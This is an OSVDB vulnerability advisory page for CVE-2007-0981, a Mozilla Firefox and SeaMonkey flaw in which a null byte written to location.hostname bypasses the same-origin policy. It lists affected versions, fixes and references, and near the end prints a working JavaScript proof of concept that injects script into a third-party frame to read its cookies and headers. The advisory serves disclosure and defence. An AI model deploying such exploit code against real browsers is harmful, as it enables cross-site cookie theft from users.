32104 : Mozilla Multiple Products location.hostname Null Byte URI Security Bypass
Printer | http://osvdb.org/32104 | Email This | Edit Vulnerability

Views This Week	Views All Time	Added to OSVDB	Last Modified	Modified (since 2008)	Percent Complete
11	1515	over 4 years ago	about 1 year ago	2 times	90%

Timeline

Disclosure Date	Exploit Publish Date
2007-02-14	2007-02-14

Description

Mozilla Firefox, Mozilla SeaMonkey, and other Mozilla-based browsers contain a flaw that may allow a remote attacker to bypass security restrictions and gain knowledge of sensitive information. The issue is due to Mozilla-based browsers improperly handling writes to the 'location.hostname' DOM property. The flaw is triggered when a malicious web page writes a hostname value containing NULL characters ('\x00') to the 'location.hostname' DOM property, allowing for alteration of the 'document.domain' in order to bypass the same-origin policy for cross-frame/cross-window data access. This may allow an attacker the ability to manipulate authentication cookies for third party web pages and tamper with the way these sites are displayed or how they work, resulting in a loss of confidentiality.

Classification

Location: Remote / Network Access
Attack Type: Input Manipulation
Impact: Loss of Confidentiality
Exploit: Exploit Public
Disclosure: OSVDB Verified, Vendor Verified

Solution

Upgrade to the following product versions, as they have been reported to fix this vulnerability:
Mozilla Firefox: version 1.5.0.10 or higher
Mozilla Firefox 2: version 2.0.0.2 or higher
Mozilla SeaMonkey: version 1.0.8 or higher

It is also possible to correct the flaw by implementing the following workaround:
Deny setting location.hostname by placing the following line in your user.js file:
user_pref("capability.policy.default.Location.hostname.set", "noAccess");
If you don't have one, create one in notepad and place it in your profile directory (e.g. C:\Program Files\Mozilla Firefox\defaults\profile).

Products

Mozilla Organization	Firefox	1.0
		1.0.1
		1.0.2
		1.0.3
		1.0.4
		1.0.5
		1.0.6
		1.0.7
		1.0.8
		1.5
		1.5.0.1
		1.5.0.2
		1.5.0.3
		1.5.0.4
		1.5.0.5
		1.5.0.7
		1.5.0.8
		1.5.0.9
		1.5.0.10
		2.0
		2.0.0.1
		2.0.0.2
		0.1
		0.2
		0.3
		0.4
		0.5
		0.6
		0.6.1
		0.7
		0.7.1
		0.8
		0.9
		0.9.1
		0.9.2
		0.9.3
		0.10
		1.5.0.6
	SeaMonkey	1.0
		1.0.1
		1.0.2
		1.0.3
		1.0.5
		1.0.6
		1.0.7
		1.0.8
		1.1.1

References

Security Tracker: 1017654
CVE ID: 2007-0981 (see also: NVD)
Bugtraq ID: 22566
Secunia Advisory ID: 24175 24205 24333 24342 24343 24384 24393 24395 24437 24455 24457 24569 24650 25588
SCIP VulDB ID: 2943
ISS X-Force ID: 32533
Milw0rm: 3340
Exploit Database: 3340
CERT VU: 885753
VUPEN Advisory: ADV-2007-0624 ADV-2007-0718
Other Advisory URL: ftp://patches.sgi.com/support/free/security/advisories/20070202-01-P.asc http://fedoranews.org/cms/node/2721
http://fedoranews.org/cms/node/2728
http://lists.suse.com/archive/suse-security-announce/2007-Mar/0001.html
http://lists.suse.com/archive/suse-security-announce/2007-Mar/0006.html
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-0981
http://slackware.com/security/viewer.php?l=slackware-security&y=2007&m=slackware-security.338131
http://slackware.com/security/viewer.php?l=slackware-security&y=2007&m=slackware-security.374851
http://www.gentoo.org/security/en/glsa/glsa-200703-04.xml
http://www.gentoo.org/security/en/glsa/glsa-200703-08.xml
http://www.mandriva.com/security/advisories?name=MDKSA-2007:050
http://www.ubuntu.com/usn/usn-428-1
http://www.us.debian.org/security/2007/dsa-1336
Vendor Specific Advisory URL: ftp://patches.sgi.com/support/free/security/advisories/20070301-01-P.asc http://fedoranews.org/cms/node/2713
http://lists.rpath.com/pipermail/security-announce/2007-February/000153.html
http://security.gentoo.org/glsa/glsa-200703-04.xml
http://www.mandriva.com/security/advisories?name=MDKSA-2007:050
http://www.mozilla.org/security/announce/2007/mfsa2007-07.html
Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2007-02/0249.html
http://archives.neohapsis.com/archives/fulldisclosure/2007-02/0341.html
Vendor Specific Solution URL: http://fedoranews.org/cms/node/2728
https://issues.rpath.com/browse/RPL-1081
https://issues.rpath.com/browse/RPL-1103
Generic Exploit URL: http://lcamtuf.dione.cc/ffhostname.html
Vendor Specific News/Changelog Entry: https://bugzilla.mozilla.org/show_bug.cgi?id=370445
RedHat RHSA: RHSA-2007:0077 RHSA-2007:0078 RHSA-2007:0079

Tools & Filters

	24701 24707 24708 24735 24748 24753 24771 24774 24800 25318 25779 27118 27119 27439 27440 28021 28022 29359
	3922 3927 3931 3942

Manual Testing Notes

------------------------------
Proof of Concept
------------------------------
<script>
function do_evil(onload) {
  if (!onload) {
    try { location.hostname='evil.com\x00www.example.com'; } 
      catch (err) { alert('Failed to modify location.hostname - probably not vulnerable.'); }
  } else if (location.hostname != 'evil.com') {
    document.domain = 'example.com';
    document.getElementById('example').src = "http://www.example.com";
    setTimeout('grab_cookies()',2000);
  }
}
function grab_cookies() {
  try {
    var scr = frames['example'].document.createElement('script');
    var cod = frames['example'].document.createTextNode('x = new XMLHttpRequest(); x.open("GET","http://www.example.com/",false); x.send(null); alert("ATTACK SUCCESSFUL\n\nexample.com headers:\n\n" + x.getAllResponseHeaders() + "\nexample.com cookies:\n\n" + document.cookie + "\n\n");');
    scr.appendChild(cod);
    frames['example'].document.body.appendChild(scr);
  } catch (e) {
    alert("Exploitation failed.");
  }
}
</script>

Credit

Michał Zalewski - lcamtufcoredump.cx - http://lcamtuf.coredump.cx/

CVSSv2 Score

CVSSv2 Base Score = 7.5
Source: nvd.nist.gov | Generated: 2007-02-19 | Disagree?

Blogs

This product uses the Daylife API but is not endorsed or certified by Daylife.

This section lists the latest news and blogs found via the daylife API (and for older items, the technorati API), which mention or otherwise discuss this vulnerability.

None found at this time

Comments

Add Comment Hide Add Comment

No Comments.

The database information may change without any notice. Use of the information constitutes acceptance for use in an AS IS condition, and there are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the copyright holder or distributor (OSVDB or OSF) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.